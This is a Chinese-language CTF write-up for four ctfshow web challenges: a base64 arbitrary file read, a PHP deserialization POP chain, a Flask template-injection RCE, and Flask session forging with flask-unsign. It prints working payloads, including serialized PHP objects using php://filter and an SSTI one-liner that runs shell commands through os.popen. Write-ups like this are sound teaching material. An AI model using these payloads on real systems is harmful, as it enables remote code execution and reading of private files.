web

easy_signin

这个题目很明显存在任意文件读取

image-20230408231659276

image-20230408231735400

简单的base64

传一个img=aW5kZXgucGhw就得到flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$image=$_GET['img'];

$flag = "ctfshow{29728952-b4b7-44c3-a4a1-46bfd8789da8}";
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}

被遗忘的反序列化

这个题目首先要拿到 check.php 里面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

读取check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class w_wuw_w
{
public $aaa;
public $key;
public $file;
}

$a = new w_wuw_w;
$a->key = "";
$a->file = "php://filter/convert.base64-encode/resource=check.php";
$a->aaa = &$a->key;
echo serialize($a);
// O:7:"w_wuw_w":3:{s:3:"aaa";s:0:"";s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}

image-20230408233216873

check.php 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function cipher($str)
{

if (strlen($str) > 10000) {
exit(-1);
}

$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";

for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);

if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}

return $shifted;
}

这就是一个很简单的移位,函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function decode($str)
{

$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";

for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);

if ($pos !== false) {
$new_pos = ($pos + $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}

return $shifted;
}

最终链条 w_wuw_w(__destruct) ->gBoBg(__toString) ->w_wuw_w(__invoke) ->EeE(__clone) ->cycycycy(aaa)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

# 当前目录中有一个txt文件哦
error_reporting(1);
//show_source(__FILE__);
include("src/check.php");

// w_wuw_w(__destruct) ->gBoBg(__toString) ->w_wuw_w(__invoke) ->EeE(__clone) ->cycycycy(aaa)
class EeE
{
public $text;
public $eeee;
}

class cycycycy
{
public $a;
private $b;
}

class gBoBg
{
public $name;
public $file;
public $coos;
private $eeee = "-_-";

}

class w_wuw_w
{
public $aaa;
public $key;
public $file;

}

$a = new gBoBg;
$a->coos = new w_wuw_w;
$a->file = "123";

$b = new w_wuw_w;
$b->aaa = $a;
echo serialize($b). "\n";
echo decode("p8vfuv8g8v8py");
# O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":4:{s:4:"name";N;s:4:"file";s:3:"123";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";N;}s:11:" gBoBg eeee";s:3:"-_-";}s:3:"key";N;s:4:"file";N;}
# fe1ka1ele1efp

image-20230408233852859

easy_ssti

源码 app.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)

@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'

发现就是一个简单的ssti

payload:

1
{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__builtins__['eval']("__import__('os').popen(__import__('flask').request.args.get('j')).read()")}}?j=cat /flag

easy_flask

首先注册一个测试用户,例如账号1密码1

image-20230409213756405

很明显的存在flask session

然后1里面有个learn的超链接,点进去以后可以得到部分源码

image-20230409213919740

拿到了secret_key

于是这个来进行伪造admin登录

这里采用flask-unsign工具进行flask-session伪造,工具安装:Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. (github.com)

image-20230409214309969

然后访问页面,发现有个下载

image-20230409214835276

然后下载这个项目源码默认一般是/app/app.py

image-20230409214943041

然后发现有个hello路由可以执行rce

最终payload:

image-20230409215037897